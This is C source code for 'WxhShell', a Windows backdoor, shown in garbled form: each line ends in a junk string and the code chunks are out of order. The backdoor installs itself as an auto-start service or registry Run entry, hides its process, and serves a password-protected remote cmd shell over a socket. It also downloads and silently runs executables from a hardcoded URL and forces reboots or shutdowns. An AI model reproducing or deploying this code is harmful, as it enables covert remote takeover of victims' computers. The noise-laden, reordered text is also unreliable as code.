    if(Boot(SHUTDOWN)) lH^[b[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R@r"a&{/  
    else { r#pC0Yj!3  
    closesocket(wsh); _`zj^*%  
    ExitThread(0); .r?-O{2t  
    } !}^ {W)h[  
    break; ?J~(qaa;  
    } 7m=tu?@  
  // 获取shell HLU'1As65  
  case 's': { JQ8wL _C>  
    CmdShell(wsh); {e?D6`#x  
    closesocket(wsh); mPxph>o  
    ExitThread(0); 9_F2nmEv  
    break; 9Qb_BNUo  
  } yg gQ4y6  
  // 退出 #^v|u3^DD  
  case 'x': { GRb"jF>ut  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o84!$2P+w  
    CloseIt(wsh); ;p#)z/zZ  
    break; MI@id  
    } ?j8F5(HF?  
  // 离开 B@l/'$G  
  case 'q': { ;%AK< RT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xS`>[8?3<T  
    closesocket(wsh); ^60BQ{ne  
    WSACleanup(); yla&/K;|*  
    exit(1); F%x8y  
    break; j']m*aM1>  
        } (&FSoe/!['  
  } Cv|ya$}a  
  } r"a0!]n  
gYx|Na,+  
  // 提示信息 Y zSUJ=0/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8|w_PP1oE  
} iP;X8'< BC  
  } hX]vZR&R  
`bffw:; %  
  return; =LS?:Mhm  
} jyf[O -  
Qd 1Q~PBla  
// shell模块句柄 ]dc^@}1bN  
int CmdShell(SOCKET sock) A\_cGM2  
{ 2hl'mRW  
STARTUPINFO si; 5~CHj  
ZeroMemory(&si,sizeof(si)); 0I4RZ.2*Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a="Z]JGk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !~cTe!T  
PROCESS_INFORMATION ProcessInfo; XFPWW,  
char cmdline[]="cmd"; %J?;@ G)r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |?SK.1pW  
  return 0; -U(T  
} < Vr"  
|Gb"%5YD  
// 自身启动模式 x5k6yHn  
int StartFromService(void) % ^g BDlR^  
{ d$/BF&n  
typedef struct b}p0&%I  
{ }\B`tAN  
  DWORD ExitStatus; 'QjX2ytgX  
  DWORD PebBaseAddress; ` a5$VV%J  
  DWORD AffinityMask; !L+*.k:  
  DWORD BasePriority; |Z<NM#1  
  ULONG UniqueProcessId; `(?E-~#'  
  ULONG InheritedFromUniqueProcessId; qIa|sV\w0  
}   PROCESS_BASIC_INFORMATION; AxUj CerNf  
=u(. Y  
PROCNTQSIP NtQueryInformationProcess; EaG3:<>J  
,Utp6X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 67Z|=B !7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; . Yg)|/  
 [ottUS@  
  HANDLE             hProcess; &)OX*y  
  PROCESS_BASIC_INFORMATION pbi; H3}{]&a  
0x'>}5`5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?ZDXT2b~~  
  if(NULL == hInst ) return 0; pm,&kE  
J_OIU#-B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eXWiTi@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z}TuVE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p mcy(<  
0m6Vf x  
  if (!NtQueryInformationProcess) return 0; a1]k(AuQrC  
!9DqW&8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZkkXITQkPM  
  if(!hProcess) return 0; MRi QaUg2  
|j$&W;yC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G*ZHLLO4S\  
dX: (%_Mn  
  CloseHandle(hProcess); yv^j~  
(Sr&Y1D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .@Z qCH  
if(hProcess==NULL) return 0; 8MGtJ'.  
u[dR*o0'  
HMODULE hMod; k5]s~* ,0  
char procName[255]; jzSh|a9_  
unsigned long cbNeeded; cHs@1R/-s  
>XjSVRO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ")"VQ|$y  
r.0IC*Y  
  CloseHandle(hProcess); *+re2O)Eh'  
O E0w/{  
if(strstr(procName,"services")) return 1; // 以服务启动 s\,F 6c  
R:P'QM   
  return 0; // 注册表启动 fDhV *LqW  
} N%%2!Z#  
lcHw Kd  
// 主模块 |gM|>  
int StartWxhshell(LPSTR lpCmdLine) }20 Q`?  
{ N}b/; Y  
  SOCKET wsl; 'Ar+k\.J  
BOOL val=TRUE; /Pv d[oF  
  int port=0; "<H.F 87Z)  
  struct sockaddr_in door; im|( 4 f  
\:9dt8(-U  
  if(wscfg.ws_autoins) Install(); '8K5=|!J  
~+}w>jIm{|  
port=atoi(lpCmdLine); C']TO/2q  
R)MWO5  
if(port<=0) port=wscfg.ws_port; htX;"R&  
rXc-V},az8  
  WSADATA data; F]DRT6)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $$ouqLu  
;= ^kTb`X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'g.9 goQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +?Vj}p;  
  door.sin_family = AF_INET; a~E@scD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xDU>y  
  door.sin_port = htons(port); /|V!2dQs"  
gcDo o2RE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f#mBMdj  
closesocket(wsl); P1KXvc}JGe  
return 1; qpzzk9ba[  
} C4wJSQl_I  
2u9O+]EP  
  if(listen(wsl,2) == INVALID_SOCKET) { 7Mq4$|qhD  
closesocket(wsl); s+IU%y/9$a  
return 1; ATx6YP@7~  
} z-};.!L^  
  Wxhshell(wsl); h!.#r*vV  
  WSACleanup(); !wP |t#Sc9  
p|fSPSz  
return 0; 8>^(-ca_  
,{DZvif   
} z\64Qpfm  
5@l[!Jl0k  
// 以NT服务方式启动 }*eiG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T,N"8N{K"  
{ [O~' \ Q  
DWORD   status = 0; :lf;C T6$  
  DWORD   specificError = 0xfffffff; Gt;@. jY&  
,K4*0!TXP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'lmZ{a6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fzcPi9+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QY14N{]T\p  
  serviceStatus.dwWin32ExitCode     = 0; MtE18m "z  
  serviceStatus.dwServiceSpecificExitCode = 0; ]MI> "hn  
  serviceStatus.dwCheckPoint       = 0; @ qFE6!  
  serviceStatus.dwWaitHint       = 0; Ve/"9 ?Y_  
dzA5l:5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q I!c=:u  
  if (hServiceStatusHandle==0) return; 'p0|wM_  
"F_o%!l  
status = GetLastError(); 8R !3}kx  
  if (status!=NO_ERROR) f1eY2UtWQ  
{ W40GW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Cjvgf .>$  
    serviceStatus.dwCheckPoint       = 0; TTNgnP  
    serviceStatus.dwWaitHint       = 0;  }qf9ra  
    serviceStatus.dwWin32ExitCode     = status; m3|KIUP  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y-8qAF?SJ]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OBF3)L]  
    return; M :m-iX  
  } TF\<`}akX  
fX.V+.rj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,!`94{Ggv  
  serviceStatus.dwCheckPoint       = 0; V<} ^n  
  serviceStatus.dwWaitHint       = 0; zs+[Aco)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7ko7)"N  
} 1[k~*QS  
o?G^=0T  
// 处理NT服务事件,比如:启动、停止 eYL7G-3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j/zD`yd j  
{ JOj\#!\>k0  
switch(fdwControl) Q37VhScs  
{ cz_4cMgxu  
case SERVICE_CONTROL_STOP: DSwF }  
  serviceStatus.dwWin32ExitCode = 0; tVx.J'"Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M mg#Vy~  
  serviceStatus.dwCheckPoint   = 0; B3I\=  
  serviceStatus.dwWaitHint     = 0; CK e  
  { 1B3,lYBM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0XlX7Sk+  
  } -_jV.`t  
  return; kO<`RHlX=  
case SERVICE_CONTROL_PAUSE: $,k SR}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [5%/{W,~m  
  break; SwQ.tK1p  
case SERVICE_CONTROL_CONTINUE: zIbl[[M&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VmQ7M4j*  
  break; *jWU8.W  
case SERVICE_CONTROL_INTERROGATE: x7e  
  break; f}4c#x  
}; y? [*qnPj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hoC}@8_  
} T4 SByX9  
K. G#[  
// 标准应用程序主函数 (2@b ,w^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hE:P'O1  
{ KGUpXMd^Z  
$2BRi@  
// 获取操作系统版本 %9mCgHQ9  
OsIsNt=GetOsVer(); qn@Qd9Sf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eEsEW<su  
9[N' HpQ3  
  // 从命令行安装 !U`T;\,v5  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5*buRYck0  
+bm2vIh$  
  // 下载执行文件 v85&s  
if(wscfg.ws_downexe) { sSG]I%oB3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .WL507*"Ce  
  WinExec(wscfg.ws_filenam,SW_HIDE); E08AZOY&g  
} ZJ=C[s!wu  
0nie>  
if(!OsIsNt) { W \f7fVU  
// 如果时win9x,隐藏进程并且设置为注册表启动 [9?= &O#*  
HideProc(); s* 9tWSd  
StartWxhshell(lpCmdLine); g8kw|BgnL  
} ^J% w[FE  
else YSrFHVq  
  if(StartFromService()) U}A+jJ  
  // 以服务方式启动 xC;$/u%'  
  StartServiceCtrlDispatcher(DispatchTable); 5 (H; x74  
else 6l_8Q w*5I  
  // 普通方式启动 ^|sxbP  
  StartWxhshell(lpCmdLine); D"x~bs?V\  
V$v;lvt^Uq  
return 0; Olxb`x  
} 3b&W=1J  
5 h{Hf]A  
D[-Ct  
xBw"RCBz^  
=========================================== JAiV7v4&R  
rz7yAm  
|u}sX5/q  
>8AtT=}w  
JnsXEkM)  
Fk9(FOFg  
" hXr vb[6  
57MoO  
#include <stdio.h> {(MG: B  
#include <string.h> ah<f&2f  
#include <windows.h> VmT5? i  
#include <winsock2.h> ih;TQ!c+b  
#include <winsvc.h> Y zvtxX*  
#include <urlmon.h> G? _,(  
9(PFd%  
#pragma comment (lib, "Ws2_32.lib") z`2d(KE?  
#pragma comment (lib, "urlmon.lib") JR>B<{xB  
Lul?@>T  
#define MAX_USER   100 // 最大客户端连接数  nm~  
#define BUF_SOCK   200 // sock buffer 6FmgK"t8  
#define KEY_BUFF   255 // 输入 buffer uJ y@  
*Xnq1_K}  
#define REBOOT     0   // 重启 }wb;ulN)  
#define SHUTDOWN   1   // 关机 enr mjA&3  
e/3hb)#;  
#define DEF_PORT   5000 // 监听端口 ?d0Dfqh_  
VA%i_P,  
#define REG_LEN     16   // 注册表键长度 >k#aB.6  
#define SVC_LEN     80   // NT服务名长度 ;$/G T  
_t[%@G>P  
// 从dll定义API O^$Zz<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xr2:bu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !{XO#e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y$"L`*W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /Rz,2jfRx'  
|Wgab5D>V  
// wxhshell配置信息 7L6M#B[)e5  
struct WSCFG { `ouzeu9}  
  int ws_port;         // 监听端口 5~F0'tb|}  
  char ws_passstr[REG_LEN]; // 口令 "8]170  
  int ws_autoins;       // 安装标记, 1=yes 0=no *X-$* ~J0  
  char ws_regname[REG_LEN]; // 注册表键名 a+i+#*8wm  
  char ws_svcname[REG_LEN]; // 服务名 qQ'@yTVN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ei<:=6EX?8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3Cl9,Z"&6$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BSf"'0I&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J#]y KgT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !/zj7z !  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :[39g;V}c  
Jx<  
}; Zv\b`Cf}  
y|se^dn  
// default Wxhshell configuration xTZ5q*Hqx  
struct WSCFG wscfg={DEF_PORT, -`UlntEdZ:  
    "xuhuanlingzhe", ?OyW|jL  
    1, h_L '_*  
    "Wxhshell", m~eWQ_a]C@  
    "Wxhshell", W|e>  
            "WxhShell Service", :bDA<B6bb  
    "Wrsky Windows CmdShell Service", ;I'/.gW;{  
    "Please Input Your Password: ", J.l%H U  
  1, Qknc.Z}  
  "http://www.wrsky.com/wxhshell.exe", I>#ChV)(#  
  "Wxhshell.exe" }0RFo96) v  
    }; R-fjxM*  
Hrnql  
// 消息定义模块 \k_3IP?o=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =[+&({  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Wp3l>:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m!g8@YI  
char *msg_ws_ext="\n\rExit."; V2%wb\_z  
char *msg_ws_end="\n\rQuit."; ie5ijkxZ(  
char *msg_ws_boot="\n\rReboot..."; v6\2m c.  
char *msg_ws_poff="\n\rShutdown..."; YO0x68  
char *msg_ws_down="\n\rSave to "; B [ ka@z7  
F@bCm+z-  
char *msg_ws_err="\n\rErr!"; |qDfFGYf  
char *msg_ws_ok="\n\rOK!"; 6CRPdLTDf  
*+4iBpyiB  
char ExeFile[MAX_PATH]; 0\nhg5]?  
int nUser = 0; Qmx~_  
HANDLE handles[MAX_USER]; _ D}b  
int OsIsNt; Ec*7n6~9  
$ _Bu,;  
SERVICE_STATUS       serviceStatus; 'TsZuZW]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1>x@1Mo+K  
VDjIs UUX  
// 函数声明 EoR6Rx@Z  
int Install(void); gr{Sh`Cm-  
int Uninstall(void); HCkqh4  
int DownloadFile(char *sURL, SOCKET wsh); GSnHxs)  
int Boot(int flag); W?J[K;<  
void HideProc(void); gD+t'qg$  
int GetOsVer(void); T)tHN#6I  
int Wxhshell(SOCKET wsl); R bc2g"]  
void TalkWithClient(void *cs); ~<[5uZIo  
int CmdShell(SOCKET sock); N/{Yi _n  
int StartFromService(void); ]m#MwN$  
int StartWxhshell(LPSTR lpCmdLine); T4Gw\Z%  
V^/^OR4k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A<CXdt+t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]l7\Zq  
Zi@+T  
// 数据结构和表定义 M #=5u`h  
SERVICE_TABLE_ENTRY DispatchTable[] = J K]tcP  
{ xp8f  
{wscfg.ws_svcname, NTServiceMain}, ~'QeN%qadP  
{NULL, NULL} IetGg{h.  
};  53*, f  
a:^ Gr%  
// 自我安装 {2gd4[:  
int Install(void) nC.2./OwMf  
{ AD%D ,l  
  char svExeFile[MAX_PATH]; #iU8hUbo  
  HKEY key; [xp,&  
  strcpy(svExeFile,ExeFile); IgR"eu U  
KW7? : x  
// 如果是win9x系统,修改注册表设为自启动 4zfRD`;  
if(!OsIsNt) { $gl<{{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z t+FRR=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z>p`!-'ID  
  RegCloseKey(key); QT= ,En  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,ibPSN5Ca  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /b:t;0G  
  RegCloseKey(key); m_Ac/ct f  
  return 0; /`O]etr`d  
    } fw|+7 O  
  } V>jhGf  
} 11y .z^  
else { W aGcoj  
6+B{4OY  
// 如果是NT以上系统,安装为系统服务 7kX$wQZ_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^g-t#O lD?  
if (schSCManager!=0) J1]w*2  
{ %w8GGm8^/  
  SC_HANDLE schService = CreateService oS#'u 1k  
  ( E_D ^O  
  schSCManager, :IR9=nhS]  
  wscfg.ws_svcname, ) {  
  wscfg.ws_svcdisp, 0 oj{e9h  
  SERVICE_ALL_ACCESS, {`H<=h__  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GKyG #Fl  
  SERVICE_AUTO_START, RE>ks[  
  SERVICE_ERROR_NORMAL, S2 "=B&,}  
  svExeFile, t.E4Tqzc>  
  NULL, oO#xx)b  
  NULL, C3\E.u ?  
  NULL, 46K&$6eN  
  NULL, QOV}5 0  
  NULL 45+%K@@x  
  ); hH1lgc  
  if (schService!=0) *m$PH"  
  { mGe|8In  
  CloseServiceHandle(schService); )XP#W|;  
  CloseServiceHandle(schSCManager); )>y k-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Lvi[*une|  
  strcat(svExeFile,wscfg.ws_svcname); %-# q O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _^ q\XPS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @q&|MMLt  
  RegCloseKey(key); y7JZKtsFA  
  return 0; ,jRcl!n`  
    } \9]I#Ih}M  
  } U~*c#U"bh  
  CloseServiceHandle(schSCManager); U!c]_q  
} &:c:9w  
} -=$% {  
$T?*0"Mj[  
return 1; 3ar=1_Ar  
} wfxOx$]z K  
PMgQxM*h  
// 自我卸载  c6Lif)4  
int Uninstall(void) ,Z>wbMJig  
{ \Z)#lF|^  
  HKEY key; xfq]9<  
z,{e]MB)M  
if(!OsIsNt) { {r={#mO;p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J3B6X8P'  
  RegDeleteValue(key,wscfg.ws_regname); V43nws "4  
  RegCloseKey(key); mEoA#U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |9>*$Fe"  
  RegDeleteValue(key,wscfg.ws_regname); [E>R.Oe  
  RegCloseKey(key); ?ork^4 $s  
  return 0; c[SU5 66y  
  } 3p=vz'  
} Dp*:Q){>E  
} 31~hlp;  
else { * R%.a^R  
Lf >YdD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I-xwJi9?,  
if (schSCManager!=0) [?-]PZ  
{ ,I]7g4~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -#Np7/  
  if (schService!=0) jm[}M  
  { U,e'ZRU6  
  if(DeleteService(schService)!=0) { (nLKQV 1  
  CloseServiceHandle(schService); M[~Jaxw%  
  CloseServiceHandle(schSCManager); < CDA"  
  return 0; TfJL+a0  
  } e1Ob!N-  
  CloseServiceHandle(schService); a\=-D:  
  } tJ"az=?  
  CloseServiceHandle(schSCManager); ! ,@ZQS  
} LZ{YmD&6]  
} Y;} 2'"  
F) ?o,  
return 1; J{d(1gSZ  
} [OzzL\)3l  
QZ&4:K+{  
// 从指定url下载文件 Rp0|zP,5  
int DownloadFile(char *sURL, SOCKET wsh) wxj>W[V  
{ tw=K&/@^O  
  HRESULT hr; &pM'$}T*  
char seps[]= "/"; `)$`-Pw*  
char *token; `m%:rE,  
char *file; (3VGaUlx  
char myURL[MAX_PATH]; 3qtr9NI  
char myFILE[MAX_PATH]; 8V-,Xig;`  
i}B;+0<drx  
strcpy(myURL,sURL); Lj8)' [K"  
  token=strtok(myURL,seps); Vv8_\^g]  
  while(token!=NULL) )Vg2Jix,]  
  { qgx?"$ Z  
    file=token; 7S<UFj   
  token=strtok(NULL,seps); 4=xq:Tf  
  } dv , C6t2  
wz#A1F  
GetCurrentDirectory(MAX_PATH,myFILE); Hd%! Nt\u  
strcat(myFILE, "\\"); 03([@d6<E  
strcat(myFILE, file); !,Nwts>m  
  send(wsh,myFILE,strlen(myFILE),0); ;#&fgj  
send(wsh,"...",3,0); -f9]v9|l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R-  
  if(hr==S_OK) =1Z;Ma<;  
return 0; WhFS2Jl0  
else rA1q SG~c  
return 1; rQJ"&CapT  
K"\MU  
} 6):Xzx,  
l}rS{+:wK  
// 系统电源模块 blahi]{Y9  
int Boot(int flag) Km!nM$=k  
{ R* 9NR,C  
  HANDLE hToken; wAFW*rO5o  
  TOKEN_PRIVILEGES tkp; v$Uhm</|19  
`ZMK9f:  
  if(OsIsNt) { u[")*\CP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rwSbqL^eM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pzhl*ss"6  
    tkp.PrivilegeCount = 1; nN aXp*J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RV+E^pkp$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u1Ek y/e-  
if(flag==REBOOT) { .<#ATFmY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7LCp7$Cp  
  return 0; qaVy.  
} ;:mu}  
else { DG[%Nhle  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !tXZ%BP.u  
  return 0; /(?@mnq_  
} oY=1C}  
  } 3A,rHYS  
  else { "NzD1k6.L  
if(flag==REBOOT) { X}cZxlqc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uLk]LT  
  return 0; Qx)Jtb0`V  
} fP[& a9l  
else { _M t Qi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g5S?nHS}  
  return 0; B4ZIURciGz  
} WR#0<cz(  
} PB53myDQ  
XIAeCU  
return 1; Quzo8 u  
} XiQkrZ  
QTmZ( >z  
// win9x进程隐藏模块 ,=BLnsg  
void HideProc(void) jb[!E^'&>  
{ z0bJ?~w,  
gSt`%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uD9|.P}  
  if ( hKernel != NULL ) *7$P]  
  { 55Gtp\L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z42F,4Gk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7&B$HZ  
    FreeLibrary(hKernel); LL*mgTQ  
  } bAwl:l\`  
@=Fi7M  
return; %o w^dzW  
} p fT60W[m  
A],ooiq<  
// 获取操作系统版本 }uY!(4Rw  
int GetOsVer(void) )92r{%N  
{ EU-]sTJLF  
  OSVERSIONINFO winfo; ,Hn^z<f   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q| .dez'  
  GetVersionEx(&winfo); }{[mrG   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nFRsc'VT  
  return 1; 6oD\-H  
  else k\`S lb1  
  return 0; :6{`~=  
} )|bC^{kH!l  
nV_8Ke  
// 客户端句柄模块 c#/H:?q?a  
int Wxhshell(SOCKET wsl) V5`^Y=X(%  
{ &M />tE Z)  
  SOCKET wsh; I+(/TP  
  struct sockaddr_in client; Vz=auM1xZ  
  DWORD myID; eH%RNtP`  
OJAIaC\  
  while(nUser<MAX_USER) EZDy+6b  
{ S9| a$3K'  
  int nSize=sizeof(client); x_#-tB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LiQgR 6j  
  if(wsh==INVALID_SOCKET) return 1; I5m][~6.?  
~b~2 >c9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *^%*o?M~  
if(handles[nUser]==0) zj{r^D$  
  closesocket(wsh); K(}AX+rIg  
else MrRaU x6z  
  nUser++; 1.<q3q  
  } Zw1U@5}A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^P'{U26  
'x"08v$  
  return 0; !h[VUg_8  
} &opd2  
lj=l4 &.i  
// 关闭 socket *l&S-=]  
void CloseIt(SOCKET wsh) eYX5(`c[  
{ ufV!+$C)is  
closesocket(wsh); bi4f]^hQz  
nUser--; Z3TS,a1I4  
ExitThread(0); !p/%lU65  
} 8;14Q7,S  
Vr[czfROz'  
// 客户端请求句柄 _nh[(F<hz  
void TalkWithClient(void *cs) yp.[HMRD  
{ v"& pQ  
j=?'4sF  
  SOCKET wsh=(SOCKET)cs; SMH<'F7i  
  char pwd[SVC_LEN]; 2 {Vcb  
  char cmd[KEY_BUFF]; M$4[)6Y  
char chr[1]; DV)3  
int i,j; pCh2SQ(Q>  
-s|8<A||"  
  while (nUser < MAX_USER) { J (4"S o_  
KnhoaBB  
if(wscfg.ws_passstr) { 5q9s,r_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r KH:[lK m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C)'q QvA  
  //ZeroMemory(pwd,KEY_BUFF); ` |IUGz  
      i=0; r}#\BbCv;7  
  while(i<SVC_LEN) { /H7&AiA  
uj>WgU  
  // 设置超时 g-c ;}qz  
  fd_set FdRead; 'H8(=9O1d  
  struct timeval TimeOut; ",aT WQgN  
  FD_ZERO(&FdRead); tVrY3)c  
  FD_SET(wsh,&FdRead); YOr:sb   
  TimeOut.tv_sec=8; GeszgtK{T  
  TimeOut.tv_usec=0; >MK>gLg}!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZF7IL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;W>Cqg=  
<f@"HG l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zZcnijWb  
  pwd=chr[0]; k>x&Ip8p  
  if(chr[0]==0xd || chr[0]==0xa) { ;Gx)Noo/>  
  pwd=0; O$/o'"@ /  
  break; HK\~Qnq  
  } nJ4pTOc  
  i++; .itw04Uru  
    } wo_,Y0vfB  
fb8%~3i>  
  // 如果是非法用户,关闭 socket vAY,E=&XvM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y!iZW  
} z#BR5jF  
}_=eT]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JSh.]j<bJL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~{sG| ;/!*  
!EUan  
while(1) { Bqma\1cgb  
W>-Et7&2  
  ZeroMemory(cmd,KEY_BUFF); A_Frk'{qhB  
.EM`.  
      // 自动支持客户端 telnet标准   8-<:i  
  j=0; 0TpK#OlI|c  
  while(j<KEY_BUFF) { qC F5~;7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ][}0#'/mV  
  cmd[j]=chr[0]; O G<,- 7  
  if(chr[0]==0xa || chr[0]==0xd) { c'/l,k  
  cmd[j]=0; C8FB:JNJV  
  break; __mF ?m  
  } (/35p g6\  
  j++; @gY)8xMbA  
    }  V#VN %{  
UAoh`6vFF8  
  // 下载文件 )K &(  
  if(strstr(cmd,"http://")) { %v20~xW :o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9z6XF]A  
  if(DownloadFile(cmd,wsh)) y;/VB,4V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (o3 Iy  
  else jKt7M>P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l;o1 d-n]  
  } /SYw;<=  
  else { x.S3Zi}=  
M4as  
